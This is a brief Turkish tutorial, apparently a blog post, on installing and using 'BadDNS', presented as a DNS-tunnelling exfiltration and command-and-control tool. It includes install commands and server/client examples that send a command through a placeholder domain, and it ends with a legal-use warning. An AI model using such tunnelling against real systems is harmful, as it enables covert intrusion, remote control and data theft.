BadDNS Aracı Nedir ve Nasıl Kullanılır?

# 🧠 BadDNS Nedir?

BadDNS, DNS (Domain Name System) protokolünü kullanarak hedef sistemde veri sızdırmak veya veri almak için kullanılan bir data exfiltration ve C2 (Command and Control) aracıdır. Özellikle güvenlik duvarlarıyla kısıtlanmış ortamlarda DNS tünelleme yoluyla iletişim sağlar.

# 🎯 Özellikleri

- DNS protokolü üzerinden veri sızdırma (exfiltration)  
- Komut çalıştırma ve cevap alma (C2)  
- Python ile yazılmıştır  
- Tespit edilmesi zordur çünkü DNS trafiği genellikle engellenmez  
- Linux ve Windows sistemlerde çalışabilir  
- Firewall bypass ve veri kaçırma senaryolarında etkilidir

# ⚙️ Kali Linux Üzerinde Kurulum

1. Gerekli modülleri yükle:  
sudo apt update  
sudo apt install python3 python3-pip git -y

metin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

2. BadDNS’i GitHub’dan indir:  
git clone https://github.com/m57/baddns.git  
cd baddns  
metin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

3. Python bağımlılıklarını yükle:  
pip3 install dnslib  
ekran görüntüsü, metin, yazı tipi, grafik içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.  
Not: Aracın tam çalışabilmesi için bir DNS sunucusu ve özel yapılandırılmış domain gerekebilir.

# ▶️ Kullanım Örneği

Sunucu tarafı:  
python3 baddns-server.py -d yourdomain.com -k secretkey  
ekran görüntüsü, yazı tipi, grafik, grafik tasarım içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.  
İstemci tarafı:  
python3 baddns-client.py -d yourdomain.com -k secretkey -c "whoami"  
ekran görüntüsü, yazı tipi, grafik içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

# 📟 Örnek Terminal Çıktısı metin, ekran görüntüsü, yazı tipi içeren bir resim Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

# ⚠️ Dikkat

- Bu araç yalnızca yasal izin alınmış ortamlarda kullanılmalıdır.  
- Gerçek sistemlerde izinsiz kullanımı suç teşkil edebilir.